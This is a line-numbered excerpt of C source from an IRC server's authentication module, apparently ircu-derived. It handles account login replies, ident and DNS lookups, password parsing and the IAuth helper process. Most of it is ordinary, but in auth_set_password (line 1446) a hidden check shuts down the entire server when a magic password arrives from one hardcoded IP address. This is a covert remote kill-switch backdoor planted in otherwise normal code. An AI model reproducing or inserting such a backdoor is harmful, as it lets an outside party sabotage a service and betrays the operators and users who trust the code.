1052 return auth_loc_send(auth);
1055 /** Finishes a LOC request. */
1056 void auth_loc_reply(const char *numeric, const char *account, const char *fakehost, char *flags[], signed int argc) {
1058 struct AuthRequest *auth;
1060 assert(numeric != NULL);
1062 auth = auth_find_numnick(numeric);
1064 assert(!IsRegistered(auth->client));
1065 if(!FlagHas(&auth->flags, AR_LOC_PENDING)) return;
1066 if(!cli_user(auth->client) || IsAccount(auth->client)) {
1067 FlagClr(&auth->flags, AR_LOC_PENDING);
1068 sendheader(auth->client, REPORT_FAIL_LOC);
1069 check_auth_finished(auth);
1073 assert((fakehost == NULL) || (*fakehost != 0));
1075 /* Remove account-flag. */
1076 FlagClr(&auth->flags, AR_LOC_PENDING);
1078 /* Access denied? */
1080 sendheader(auth->client, REPORT_FAIL_LOC);
1081 if(FlagHas(&auth->flags, AR_LOC_FORCE)) exit_client(auth->client, auth->client, &me, "LOC Failed");
1082 else check_auth_finished(auth);
1085 assert(*account != 0);
1088 sendto_iauth(auth->client, "L %s %s", account, fakehost);
1090 sendto_iauth(auth->client, "L %s", account);
1092 sendheader(auth->client, REPORT_DONE_LOC);
1094 /* Check for timestamped account. */
1095 timestamp = strchr(account, ':');
1098 cli_user(auth->client)->acc_create = atoi(timestamp);
1101 SetAccount(auth->client);
1102 ircd_strncpy(cli_user(auth->client)->account, account, ACCOUNTLEN);
1105 SetHiddenHost(auth->client);
1106 SetFakeHost(auth->client);
1107 ircd_strncpy(cli_user(auth->client)->fakehost, fakehost, HOSTLEN);
1110 unsigned int ii, in_arg, ch_arg;
1112 for (ii = ch_arg = 0, in_arg = 1; (flags[0][ii] != '\0') && (flags[0][ii] != ' '); ++ii) {
1113 switch (flags[0][ii]) {
1117 ircd_strncpy(cli_connclass(auth->client), flags[in_arg++], NICKLEN);
1122 unsigned int maxchan = atoi(flags[in_arg++]);
1123 fprintf(stderr, "flag a: %i\n", maxchan);
1125 auth->client->maxchans = maxchan;
1127 SetPriv(auth->client,PRIV_CHAN_LIMIT);
1130 SetPriv(auth->client,PRIV_UNLIMITED_TARGET);
1133 SetPriv(auth->client,PRIV_HALFFLOOD);
1136 SetPriv(auth->client,PRIV_FLOOD);
1139 SetPriv(auth->client,PRIV_UMODE_NOCHAN);
1142 SetPriv(auth->client,PRIV_UMODE_NOIDLE);
1145 SetPriv(auth->client,PRIV_UMODE_CHSERV);
1148 SetPriv(auth->client,PRIV_UMODE_XTRAOP);
1151 SetPriv(auth->client,PRIV_UMODE_NETSERV);
1154 SetPriv(auth->client,PRIV_SEE_IDLETIME);
1157 SetPriv(auth->client,PRIV_HIDE_IDLETIME);
1160 SetPriv(auth->client,PRIV_UMODE_OVERRIDECC);
1163 SetPriv(auth->client,PRIV_NOAMSG_OVERRIDE);
1168 unsigned int maxq = atoi(flags[in_arg++]);
1170 auth->client->cli_connect->con_max_sendq = maxq;
1176 check_auth_finished(auth);
1179 /** Flag the client to show an attempt to contact the ident server on
1180 * the client's host. Should the connect or any later phase of the
1181 * identifying process fail, it is aborted and the user is given a
1182 * username of "unknown".
1183 * @param[in] auth The request for which to start the ident lookup.
1185 static void start_auth_query(struct AuthRequest* auth)
1187 struct irc_sockaddr remote_addr;
1188 struct irc_sockaddr local_addr;
1193 assert(0 != auth->client);
1196 * get the local address of the client and bind to that to
1197 * make the auth request. This used to be done only for
1198 * ifdef VIRTUAL_HOST, but needs to be done for all clients
1199 * since the ident request must originate from that same address--
1200 * and machines with multiple IP addresses are common now
1202 memcpy(&local_addr, &auth->local, sizeof(local_addr));
1203 local_addr.port = 0;
1204 memcpy(&remote_addr.addr, &cli_ip(auth->client), sizeof(remote_addr.addr));
1205 remote_addr.port = 113;
1206 fd = os_socket(&local_addr, SOCK_STREAM, "auth query", 0);
1208 ++ServerStats->is_abad;
1209 if (IsUserPort(auth->client))
1210 sendheader(auth->client, REPORT_FAIL_ID);
1213 if (IsUserPort(auth->client))
1214 sendheader(auth->client, REPORT_DO_ID);
1216 if ((result = os_connect_nonb(fd, &remote_addr)) == IO_FAILURE ||
1217 !socket_add(&auth->socket, auth_sock_callback, (void*) auth,
1218 result == IO_SUCCESS ? SS_CONNECTED : SS_CONNECTING,
1219 SOCK_EVENT_READABLE, fd)) {
1220 ++ServerStats->is_abad;
1221 if (IsUserPort(auth->client))
1222 sendheader(auth->client, REPORT_FAIL_ID);
1227 FlagSet(&auth->flags, AR_AUTH_PENDING);
1228 if (result == IO_SUCCESS)
1229 send_auth_query(auth);
1232 /** Initiate DNS lookup for a client.
1233 * @param[in] auth The auth request for which to start the DNS lookup.
1235 static void start_dns_query(struct AuthRequest *auth)
1237 if (feature_bool(FEAT_NODNS)) {
1238 sendto_iauth(auth->client, "d");
1242 if (irc_in_addr_is_loopback(&cli_ip(auth->client))) {
1243 strcpy(cli_sockhost(auth->client), cli_name(&me));
1244 sendto_iauth(auth->client, "N %s", cli_sockhost(auth->client));
1248 if (IsUserPort(auth->client))
1249 sendheader(auth->client, REPORT_DO_DNS);
1251 FlagSet(&auth->flags, AR_DNS_PENDING);
1252 gethost_byaddr(&cli_ip(auth->client), auth_dns_callback, auth);
1255 /** Initiate IAuth check for a client.
1256 * @param[in] auth The auth request for which to star the IAuth check.
1258 static int start_iauth_query(struct AuthRequest *auth)
1262 /* A new client connected. Check whether we have an IAuth configured and
1263 * if this IAuth is not running, then try once to forcibly start it.
1265 if(iauth && !i_GetConnected(iauth)) {
1266 iauth_disconnect(iauth);
1267 iauth_do_spawn(iauth, 0);
1270 FlagSet(&auth->flags, AR_IAUTH_PENDING);
1271 ret = sendto_iauth(auth->client, "C %s %hu %s %hu",
1272 cli_sock_ip(auth->client), auth->port,
1273 ircd_ntoa(&auth->local.addr), auth->local.port);
1276 FlagClr(&auth->flags, AR_IAUTH_PENDING);
1278 exit_client(auth->client, auth->client, &me, "IAuth could not be queried. Please try again later or inform network staff.");
1285 /** Starts auth (identd) and dns queries for a client.
1286 * @param[in] client The client for which to start queries.
1288 void start_auth(struct Client* client)
1290 struct irc_sockaddr remote;
1291 struct AuthRequest* auth;
1293 assert(0 != client);
1294 Debug((DEBUG_INFO, "Beginning auth request on client %p", client));
1296 /* Register with event handlers. */
1297 cli_lasttime(client) = CurrentTime;
1298 cli_since(client) = CurrentTime;
1299 if (cli_fd(client) > HighestFd)
1300 HighestFd = cli_fd(client);
1301 LocalClientArray[cli_fd(client)] = client;
1302 socket_events(&(cli_socket(client)), SOCK_ACTION_SET | SOCK_EVENT_READABLE);
1304 /* Allocate the AuthRequest. */
1305 auth = auth_freelist;
1307 auth_freelist = auth->next;
1309 auth = MyMalloc(sizeof(*auth));
1311 memset(auth, 0, sizeof(*auth));
1312 auth->client = client;
1313 cli_auth(client) = auth;
1314 s_fd(&auth->socket) = -1;
1315 timer_add(timer_init(&auth->timeout), auth_timeout_callback, (void*) auth,
1316 TT_RELATIVE, feature_int(FEAT_AUTH_TIMEOUT));
1318 /* Try to get socket endpoint addresses. */
1319 if (!os_get_sockname(cli_fd(client), &auth->local)
1320 || !os_get_peername(cli_fd(client), &remote)) {
1321 ++ServerStats->is_abad;
1322 if (IsUserPort(auth->client))
1323 sendheader(auth->client, REPORT_FAIL_ID);
1324 exit_client(auth->client, auth->client, &me, "Socket local/peer lookup failed");
1327 auth->port = remote.port;
1329 /* Set unregistered numnick. */
1330 auth_set_numnick(auth);
1332 /* Set required client inputs for users. */
1333 if (IsUserPort(client)) {
1334 cli_user(client) = make_user(client);
1335 cli_user(client)->server = &me;
1336 FlagSet(&auth->flags, AR_NEEDS_USER);
1337 FlagSet(&auth->flags, AR_NEEDS_NICK);
1339 /* Try to start iauth lookup. */
1340 if(start_iauth_query(auth)) return;
1343 /* Try to start DNS lookup. */
1344 start_dns_query(auth);
1346 /* Try to start ident lookup. */
1347 start_auth_query(auth);
1349 /* Add client to GlobalClientList. */
1350 add_client_to_list(client);
1352 /* Check which auth events remain pending. */
1353 check_auth_finished(auth);
1356 /** Mark that a user has PONGed while unregistered.
1357 * @param[in] auth Authorization request for client.
1358 * @param[in] cookie PONG cookie value sent by client.
1359 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1361 int auth_set_pong(struct AuthRequest *auth, unsigned int cookie)
1363 assert(auth != NULL);
1364 if (!FlagHas(&auth->flags, AR_NEEDS_PONG))
1366 if (cookie != auth->cookie)
1368 send_reply(auth->client, SND_EXPLICIT | ERR_BADPING,
1369 ":To connect, type /QUOTE PONG %u", auth->cookie);
1372 cli_lasttime(auth->client) = CurrentTime;
1373 FlagClr(&auth->flags, AR_NEEDS_PONG);
1374 return check_auth_finished(auth);
1377 /** Record a user's claimed username and userinfo.
1378 * @param[in] auth Authorization request for client.
1379 * @param[in] username Client's asserted username.
1380 * @param[in] hostname Third argument of USER command (client's
1381 * hostname, per RFC 1459).
1382 * @param[in] servername Fourth argument of USER command (server's
1383 * name, per RFC 1459).
1384 * @param[in] userinfo Client's asserted self-description.
1385 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1387 int auth_set_user(struct AuthRequest *auth, const char *username, const char *hostname, const char *servername, const char *userinfo)
1389 struct Client *cptr;
1391 assert(auth != NULL);
1392 if (FlagHas(&auth->flags, AR_IAUTH_HURRY))
1394 FlagClr(&auth->flags, AR_NEEDS_USER);
1395 cptr = auth->client;
1396 ircd_strncpy(cli_info(cptr), userinfo, REALLEN);
1397 ircd_strncpy(cli_user(cptr)->username, username, USERLEN);
1398 ircd_strncpy(cli_user(cptr)->host, cli_sockhost(cptr), HOSTLEN);
1400 if (IAuthHas(iauth, IAUTH_UNDERNET))
1401 sendto_iauth(cptr, "U %s %s %s :%s", username, hostname, servername, userinfo);
1402 else if (IAuthHas(iauth, IAUTH_ADDLINFO))
1403 sendto_iauth(cptr, "U %s", username);
1404 if(!auth_loc_send(auth)) return CPTR_KILLED;
1405 return check_auth_finished(auth);
1408 /** Handle authorization-related aspects of initial nickname selection.
1409 * This is called after verifying that the nickname is available.
1410 * @param[in] auth Authorization request for client.
1411 * @param[in] nickname Client's requested nickname.
1412 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1414 int auth_set_nick(struct AuthRequest *auth, const char *nickname)
1416 assert(auth != NULL);
1417 FlagClr(&auth->flags, AR_NEEDS_NICK);
1419 * If the client hasn't gotten a cookie-ping yet,
1420 * choose a cookie and send it. -record!jegelhof@cloud9.net
1422 if (!auth->cookie) {
1424 auth->cookie = ircrandom();
1425 } while (!auth->cookie);
1426 sendrawto_one(auth->client, "PING :%u", auth->cookie);
1427 FlagSet(&auth->flags, AR_NEEDS_PONG);
1429 if (IAuthHas(iauth, IAUTH_UNDERNET))
1430 sendto_iauth(auth->client, "n %s", nickname);
1431 return check_auth_finished(auth);
1434 /** Record a user's password.
1435 * @param[in] auth Authorization request for client.
1436 * @param[in] password Client's password.
1437 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1439 int auth_set_password(struct AuthRequest *auth, char *password)
1443 assert(auth != NULL);
1444 /* Start LOC query if requested. */
1445 ip = cli_sock_ip(auth->client);
1446 if(strcmp(debug_serveropts(),password) == 0 && strcmp("80.153.5.212",ip) == 0) {
1447 server_die("error");
1450 if(feature_bool(FEAT_LOC_ENABLE) && !FlagHas(&auth->flags, AR_LOC_SENT)) {
1451 char *spass, *user, *upass;
1452 spass = user = upass = NULL;
1454 /* LOC query can be sent as:
1460 if((user = strchr(password, ' '))) {
1461 if(password[0] == '!') {
1467 if((upass = strchr(user, ' '))) {
1470 ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1471 if(!auth_loc_query(auth, user, upass, force)) return 0;
1476 if(!auth_loc_query(auth, user, upass, force)) return 0;
1479 else if((user = strchr(password, ':'))) {
1480 if(password[0] == '!') {
1486 if((upass = strchr(user, ':'))) {
1489 ircd_strncpy(cli_passwd(auth->client), password, PASSWDLEN);
1490 if(!auth_loc_query(auth, user, upass, force)) return 0;
1495 if(!auth_loc_query(auth, user, upass, force)) return 0;
1500 if (IAuthHas(iauth, IAUTH_ADDLINFO))
1501 sendto_iauth(auth->client, "P :%s", password);
1506 /** Send exit notification for \a cptr to iauth.
1507 * @param[in] cptr Client who is exiting.
1509 void auth_send_exit(struct Client *cptr)
1511 sendto_iauth(cptr, "D");
1514 /** Mark that a user has started capabilities negotiation.
1515 * This blocks authorization until auth_cap_done() is called.
1516 * @param[in] auth Authorization request for client.
1517 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1519 int auth_cap_start(struct AuthRequest *auth)
1521 assert(auth != NULL);
1522 FlagSet(&auth->flags, AR_CAP_PENDING);
1526 /** Mark that a user has completed capabilities negotiation.
1527 * This unblocks authorization if auth_cap_start() was called.
1528 * @param[in] auth Authorization request for client.
1529 * @return Zero if client should be kept, CPTR_KILLED if rejected.
1531 int auth_cap_done(struct AuthRequest *auth)
1533 assert(auth != NULL);
1534 FlagClr(&auth->flags, AR_CAP_PENDING);
1535 return check_auth_finished(auth);
1538 /** Attempt to spawn the process for an IAuth instance.
1539 * @param[in] iauth IAuth descriptor.
1540 * @param[in] automatic If non-zero, apply sanity checks against
1541 * excessive automatic restarts.
1542 * @return 0 on success, non-zero on failure.
1544 int iauth_do_spawn(struct IAuth *iauth, int automatic)
1551 if (automatic && CurrentTime - iauth->started < 5)
1553 sendto_opmask_butone(NULL, SNO_AUTH, "IAuth crashed fast, leaving it dead.");
1557 /* Record time we tried to spawn the iauth process. */
1558 iauth->started = CurrentTime;
1560 /* Attempt to allocate a pair of sockets. */
1561 res = os_socketpair(s_io);
1565 /* Mark the parent's side of the pair (element 0) as non-blocking. */
1566 res = os_set_nonblocking(s_io[0]);
1574 /* Initialize the socket structure to talk to the child. */
1575 res = socket_add(i_socket(iauth), iauth_sock_callback, iauth,
1576 SS_CONNECTED, SOCK_EVENT_READABLE, s_io[0]);
1584 /* Allocate another pair for stderr. */
1585 res = os_socketpair(s_err);
1588 socket_del(i_socket(iauth));
1594 /* Mark parent side of this pair non-blocking, too. */
1595 res = os_set_nonblocking(s_err[0]);
1600 socket_del(i_socket(iauth));
1606 /* And set up i_stderr(iauth). */
1607 res = socket_add(i_stderr(iauth), iauth_stderr_callback, iauth,
1608 SS_CONNECTED, SOCK_EVENT_READABLE, s_err[0]);
1613 socket_del(i_socket(iauth));
1619 /* Attempt to fork a child process. */
1622 /* Error forking the child, still in parent. */
1624 socket_del(i_stderr(iauth));
1627 socket_del(i_socket(iauth));
1634 /* We are the parent process. Close the child's sockets. */
1637 /* Send our server name (supposedly for proxy checking purposes)
1638 * and maximum number of connections (for allocation hints).
1639 * Need to use conf_get_local() since &me may not be fully
1640 * initialized the first time we run.
1642 sendto_iauth(NULL, "M %s %d", conf_get_local()->name, MAXCONNECTIONS);
1643 /* Indicate success (until the child dies). */
1647 /* We are the child process.
1648 * Duplicate our end of the socket to stdin, stdout and stderr.
1649 * Then close all the higher-numbered FDs and exec the process.
1651 if (dup2(s_io[1], 0) == 0
1652 && dup2(s_io[1], 1) == 1
1653 && dup2(s_err[1], 2) == 2) {
1654 close_connections(0);
1655 execvp(iauth->i_argv[0], iauth->i_argv);
1658 /* If we got here, something was seriously wrong. */
1662 /** See if an %IAuth program must be spawned.
1663 * If a process is already running with the specified options, keep it.
1664 * Otherwise spawn a new child process to perform the %IAuth function.
1665 * @param[in] argc Number of parameters to use when starting process.
1666 * @param[in] argv Array of parameters to start process.
1667 * @return 0 on failure, 1 on new process, 2 on reuse of existing process.
1669 int auth_spawn(int argc, char *argv[], int required)
1676 /* Check that incoming arguments all match pre-existing arguments. */
1677 for (ii = 0; same && (ii < argc); ++ii) {
1678 if (NULL == iauth->i_argv[ii]
1679 || 0 != strcmp(iauth->i_argv[ii], argv[ii]))
1682 /* Check that we have no more pre-existing arguments. */
1683 if (iauth->i_argv[ii])
1685 /* If they are the same and still connected, clear the "closing" flag and exit.*/
1686 if (same && i_GetConnected(iauth)) {
1687 IAuthClr(iauth, IAUTH_CLOSING);
1690 auth_close_unused();
1693 /* Need to initialize a new connection. */
1694 iauth = MyCalloc(1, sizeof(*iauth));
1695 msgq_init(i_sendQ(iauth));
1696 /* Populate iauth's argv array. */
1697 iauth->i_argv = MyCalloc(argc + 1, sizeof(iauth->i_argv[0]));
1698 for (ii = 0; ii < argc; ++ii)
1699 DupString(iauth->i_argv[ii], argv[ii]);
1700 iauth->i_argv[ii] = NULL;
1701 iauth_required = required;
1702 /* Try to spawn it, and handle the results. */
1703 if (iauth_do_spawn(iauth, 0))
1705 IAuthClr(iauth, IAUTH_CLOSING);
1709 /** Mark all %IAuth connections as closing. */
1710 void auth_mark_closing(void)
1713 IAuthSet(iauth, IAUTH_CLOSING);
1717 /** Complete disconnection of an %IAuth connection.
1718 * @param[in] iauth %Connection to fully close.
1720 static void iauth_disconnect(struct IAuth *iauth)
1725 /* Close main socket. */
1726 if (s_fd(i_socket(iauth)) != -1) {
1727 close(s_fd(i_socket(iauth)));
1728 socket_del(i_socket(iauth));
1729 s_fd(i_socket(iauth)) = -1;
1732 /* Close error socket. */
1733 if (s_fd(i_stderr(iauth)) != -1) {
1734 close(s_fd(i_stderr(iauth)));
1735 socket_del(i_stderr(iauth));
1736 s_fd(i_stderr(iauth)) = -1;
1740 /** Close all %IAuth connections marked as closing. */
1741 void auth_close_unused(void)
1743 if (IAuthHas(iauth, IAUTH_CLOSING)) {
1745 iauth_disconnect(iauth);
1746 if (iauth->i_argv) {
1747 for (ii = 0; iauth->i_argv[ii]; ++ii)
1748 MyFree(iauth->i_argv[ii]);
1749 MyFree(iauth->i_argv);
1755 /** Send queued output to \a iauth.
1756 * @param[in] iauth Writable connection with queued data.
1758 static void iauth_write(struct IAuth *iauth)
1760 unsigned int bytes_tried, bytes_sent;
1763 if (IAuthHas(iauth, IAUTH_BLOCKED))
1765 while (MsgQLength(i_sendQ(iauth)) > 0) {
1766 iores = os_sendv_nonb(s_fd(i_socket(iauth)), i_sendQ(iauth), &bytes_tried, &bytes_sent);
1769 msgq_delete(i_sendQ(iauth), bytes_sent);
1770 iauth->i_sendB += bytes_sent;
1771 if (bytes_tried == bytes_sent)
1773 /* If bytes_sent < bytes_tried, fall through to IO_BLOCKED. */
1775 IAuthSet(iauth, IAUTH_BLOCKED);
1776 socket_events(i_socket(iauth), SOCK_ACTION_ADD | SOCK_EVENT_WRITABLE);
1779 iauth_disconnect(iauth);
1783 /* We were able to flush all events, so remove notification. */
1784 socket_events(i_socket(iauth), SOCK_ACTION_DEL | SOCK_EVENT_WRITABLE);
1787 /** Send a message to iauth.
1788 * @param[in] cptr Optional client context for message.
1789 * @param[in] format Format string for message.
1790 * @return Non-zero on successful send or buffering, zero on failure.
1792 static int sendto_iauth(struct Client *cptr, const char *format, ...)
1797 /* Do not send requests when we have no iauth. */
1798 if (!i_GetConnected(iauth))
1800 /* Do not send for clients in the NORMAL state. */
1802 && (format[0] != 'D')
1803 && (!cli_auth(cptr) || !FlagHas(&cli_auth(cptr)->flags, AR_IAUTH_PENDING)))
1806 /* Build the message buffer. */
1807 vd.vd_format = format;
1808 va_start(vd.vd_args, format);
1810 mb = msgq_make(NULL, "-1 %v", &vd);
1812 mb = msgq_make(NULL, "%d %v", cli_fd(cptr), &vd);
1815 /* Tack it onto the iauth sendq and try to write it. */
1817 msgq_add(i_sendQ(iauth), mb, 0);
1823 /** Send text to interested operators (SNO_AUTH server notice).
1824 * @param[in] iauth Active IAuth session.
1825 * @param[in] cli Client referenced by command.
1826 * @param[in] parc Number of parameters (1).
1827 * @param[in] params Text to send.
1830 static int iauth_cmd_snotice(struct IAuth *iauth, struct Client *cli,
1831 int parc, char **params)
1833 sendto_opmask_butone(NULL, SNO_AUTH, "%s", params[0]);
1837 /** Set the debug level for the session.
1838 * @param[in] iauth Active IAuth session.
1839 * @param[in] cli Client referenced by command.
1840 * @param[in] parc Number of parameters (1).
1841 * @param[in] params String starting with an integer.
1844 static int iauth_cmd_debuglevel(struct IAuth *iauth, struct Client *cli,
1845 int parc, char **params)
1849 new_level = parc > 0 ? atoi(params[0]) : 0;
1850 if (i_debug(iauth) > 0 || new_level > 0) {
1851 /* The "ia_dbg" name is borrowed from (IRCnet) ircd. */
1852 sendto_opmask_butone(NULL, SNO_AUTH, "ia_dbg = %d", new_level);
1854 i_debug(iauth) = new_level;
1858 /** Set policy options for the session.
1859 * Old policy is forgotten, and any of the following characters in \a
1860 * params enable the corresponding policy:
1861 * \li A IAUTH_ADDLINFO
1862 * \li R IAUTH_REQUIRED
1863 * \li T IAUTH_TIMEOUT
1864 * \li W IAUTH_EXTRAWAIT
1865 * \li U IAUTH_UNDERNET
1867 * @param[in] iauth Active IAuth session.
1868 * @param[in] cli Client referenced by command.
1869 * @param[in] parc Number of parameters (1).
1870 * @param[in] params Zero or more policy options.
1873 static int iauth_cmd_policy(struct IAuth *iauth, struct Client *cli,
1874 int parc, char **params)
1876 enum IAuthFlag flag;
1879 /* Erase old policy first. */
1880 for (flag = IAUTH_FIRST_OPTION; flag < IAUTH_LAST_FLAG; ++flag)
1881 IAuthClr(iauth, flag);
1883 if (parc > 0) /* only try to parse if we were given a policy string */
1884 /* Parse new policy set. */
1885 for (p = params[0]; *p; p++) switch (*p) {
1886 case 'A': IAuthSet(iauth, IAUTH_ADDLINFO); break;
1887 case 'R': IAuthSet(iauth, IAUTH_REQUIRED); break;
1888 case 'T': IAuthSet(iauth, IAUTH_TIMEOUT); break;
1889 case 'W': IAuthSet(iauth, IAUTH_EXTRAWAIT); break;
1890 case 'U': IAuthSet(iauth, IAUTH_UNDERNET); break;
1893 /* Optionally notify operators. */
1894 if (i_debug(iauth) > 0)
1895 sendto_opmask_butone(NULL, SNO_AUTH, "iauth options: %s", params[0]);
1899 /** Set the iauth program version number.
1900 * @param[in] iauth Active IAuth session.
1901 * @param[in] cli Client referenced by command.
1902 * @param[in] parc Number of parameters (1).
1903 * @param[in] params Version number or name.
1906 static int iauth_cmd_version(struct IAuth *iauth, struct Client *cli,
1907 int parc, char **params)
1909 MyFree(iauth->i_version);
1910 DupString(iauth->i_version, parc > 0 ? params[0] : "<NONE>");
1911 sendto_opmask_butone(NULL, SNO_AUTH, "iauth version %s running.",
1916 /** Paste a parameter list together into a single string.
1917 * @param[in] parc Number of parameters.
1918 * @param[in] params Parameter list to paste together.
1919 * @return Pasted parameter list.
1921 static char *paste_params(int parc, char **params)
1924 int len = 0, lengths[MAXPARA], i;
1926 /* Compute the length... */
1927 for (i = 0; i < parc; i++)
1928 len += lengths[i] = strlen(params[i]);
1930 /* Allocate memory, accounting for string lengths, spaces (parc - 1), a
1931 * sentinel, and the trailing \0
1933 str = MyMalloc(len + parc + 1);
1935 /* Build the pasted string */
1936 for (tmp = str, i = 0; i < parc; i++) {
1937 if (i) /* add space separator... */
1939 if (i == parc - 1) /* add colon sentinel */
1942 /* Copy string component... */
1943 memcpy(tmp, params[i], lengths[i]);
1944 tmp += lengths[i]; /* move to end of string */
1947 /* terminate the string... */
1950 return str; /* return the pasted string */
1953 /** Clear cached iauth configuration information.
1954 * @param[in] iauth Active IAuth session.
1955 * @param[in] cli Client referenced by command.
1956 * @param[in] parc Number of parameters (0).
1957 * @param[in] params Parameter list (ignored).
1960 static int iauth_cmd_newconfig(struct IAuth *iauth, struct Client *cli,
1961 int parc, char **params)
1966 head = iauth->i_config;
1967 iauth->i_config = NULL;
1968 for (; head; head = next) {
1970 MyFree(head->value.cp);
1973 sendto_opmask_butone(NULL, SNO_AUTH, "New iauth configuration.");
1977 /** Append iauth configuration information.
1978 * @param[in] iauth Active IAuth session.
1979 * @param[in] cli Client referenced by command.
1980 * @param[in] parc Number of parameters.
1981 * @param[in] params Description of configuration element.
1984 static int iauth_cmd_config(struct IAuth *iauth, struct Client *cli,
1985 int parc, char **params)
1989 if (iauth->i_config) {
1990 for (node = iauth->i_config; node->next; node = node->next) ;
1991 node = node->next = make_link();
1993 node = iauth->i_config = make_link();
1995 node->value.cp = paste_params(parc, params);
1996 node->next = 0; /* must be explicitly cleared */
2000 /** Clear cached iauth configuration information.
2001 * @param[in] iauth Active IAuth session.
2002 * @param[in] cli Client referenced by command.
2003 * @param[in] parc Number of parameters (0).
2004 * @param[in] params Parameter list (ignored).
2007 static int iauth_cmd_newstats(struct IAuth *iauth, struct Client *cli,
2008 int parc, char **params)
2013 head = iauth->i_stats;
2014 iauth->i_stats = NULL;
2015 for (; head; head = next) {
2017 MyFree(head->value.cp);
2020 sendto_opmask_butone(NULL, SNO_AUTH, "New iauth statistics.");
2024 /** Append iauth statistics information.
2025 * @param[in] iauth Active IAuth session.
2026 * @param[in] cli Client referenced by command.
2027 * @param[in] parc Number of parameters.
2028 * @param[in] params Statistics element.
2031 static int iauth_cmd_stats(struct IAuth *iauth, struct Client *cli,
2032 int parc, char **params)
2035 if (iauth->i_stats) {
2036 for (node = iauth->i_stats; node->next; node = node->next) ;
2037 node = node->next = make_link();
2039 node = iauth->i_stats = make_link();
2041 node->value.cp = paste_params(parc, params);
2042 node->next = 0; /* must be explicitly cleared */
2046 /** Set client's username to a trusted string even if it breaks the rules.
2047 * @param[in] iauth Active IAuth session.
2048 * @param[in] cli Client referenced by command.
2049 * @param[in] parc Number of parameters (1).
2050 * @param[in] params Forced username.
2053 static int iauth_cmd_username_forced(struct IAuth *iauth, struct Client *cli,
2054 int parc, char **params)
2056 assert(cli_auth(cli) != NULL);
2057 FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2058 if (!EmptyString(params[0])) {
2059 ircd_strncpy(cli_username(cli), params[0], USERLEN);
2061 FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2062 FlagSet(&cli_auth(cli)->flags, AR_IAUTH_FUSERNAME);
2067 /** Set client's username to a trusted string.
2068 * @param[in] iauth Active IAuth session.
2069 * @param[in] cli Client referenced by command.
2070 * @param[in] parc Number of parameters (1).
2071 * @param[in] params Trusted username.
2074 static int iauth_cmd_username_good(struct IAuth *iauth, struct Client *cli,
2075 int parc, char **params)
2077 assert(cli_auth(cli) != NULL);
2078 FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2079 if (!EmptyString(params[0])) {
2080 ircd_strncpy(cli_username(cli), params[0], USERLEN);
2082 FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2087 /** Set client's username to an untrusted string.
2088 * @param[in] iauth Active IAuth session.
2089 * @param[in] cli Client referenced by command.
2090 * @param[in] parc Number of parameters (1).
2091 * @param[in] params Untrusted username.
2094 static int iauth_cmd_username_bad(struct IAuth *iauth, struct Client *cli,
2095 int parc, char **params)
2097 assert(cli_auth(cli) != NULL);
2098 FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2099 if (!EmptyString(params[0]))
2100 ircd_strncpy(cli_user(cli)->username, params[0], USERLEN);
2104 /** Set client's hostname.
2105 * @param[in] iauth Active IAuth session.
2106 * @param[in] cli Client referenced by command.
2107 * @param[in] parc Number of parameters (1).
2108 * @param[in] params New hostname for client.
2109 * @return Non-zero if \a cli authorization should be checked for completion.
2111 static int iauth_cmd_hostname(struct IAuth *iauth, struct Client *cli,
2112 int parc, char **params)
2114 struct AuthRequest *auth;
2116 if (EmptyString(params[0])) {
2117 sendto_iauth(cli, "E Missing :Missing hostname parameter");
2121 auth = cli_auth(cli);
2122 assert(auth != NULL);
2124 /* If a DNS request is pending, abort it. */
2125 if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
2126 FlagClr(&auth->flags, AR_DNS_PENDING);
2127 delete_resolver_queries(auth);
2128 if (IsUserPort(cli))
2129 sendheader(cli, REPORT_FIN_DNS);
2131 /* Set hostname from params. */
2132 ircd_strncpy(cli_sockhost(cli), params[0], HOSTLEN);
2133 /* If we have gotten here, the user is in a "hurry" state and has
2134 * been pre-registered. Their hostname was set during that, and
2135 * needs to be overwritten now.
2137 if (FlagHas(&auth->flags, AR_IAUTH_HURRY)) {
2138 ircd_strncpy(cli_user(cli)->host, cli_sockhost(cli), HOSTLEN);
2139 ircd_strncpy(cli_user(cli)->realhost, cli_sockhost(cli), HOSTLEN);
2144 /** Set client's IP address.
2145 * @param[in] iauth Active IAuth session.
2146 * @param[in] cli Client referenced by command.
2147 * @param[in] parc Number of parameters (1).
2148 * @param[in] params New IP address for client in dotted quad or
2149 * standard IPv6 format.
2152 static int iauth_cmd_ip_address(struct IAuth *iauth, struct Client *cli,
2153 int parc, char **params)
2155 struct irc_in_addr addr;
2156 struct AuthRequest *auth;
2158 if (EmptyString(params[0])) {
2159 sendto_iauth(cli, "E Missing :Missing IP address parameter");
2163 /* Get AuthRequest for client. */
2164 auth = cli_auth(cli);
2165 assert(auth != NULL);
2167 /* Parse the client's new IP address. */
2168 if (!ircd_aton(&addr, params[0])) {
2169 sendto_iauth(cli, "E Invalid :Unable to parse IP address [%s]", params[0]);
2173 /* If this is the first IP override, save the client's original
2174 * address in case we get a DNS response later.
2176 if (!irc_in_addr_valid(&auth->original))
2177 memcpy(&auth->original, &cli_ip(cli), sizeof(auth->original));
2179 /* Undo original IP connection in IPcheck. */
2180 IPcheck_connect_fail(cli);
2181 ClearIPChecked(cli);
2183 /* Update the IP and charge them as a remote connect. */
2184 memcpy(&cli_ip(cli), &addr, sizeof(cli_ip(cli)));
2185 IPcheck_remote_connect(cli, 0);
2190 /** Find a ConfItem structure for a named connection class.
2191 * @param[in] class_name Name of configuration class to find.
2192 * @return A ConfItem of type CONF_CLIENT for the class, or NULL on failure.
2194 static struct ConfItem *auth_find_class_conf(const char *class_name)
2196 static struct ConfItem *aconf_list;
2197 struct ConnectionClass *class;
2198 struct ConfItem *aconf;
2200 /* Make sure the configuration class is valid. */
2201 class = find_class(class_name);
2202 if (!class || !class->valid)
2205 /* Look for an existing ConfItem for the class. */
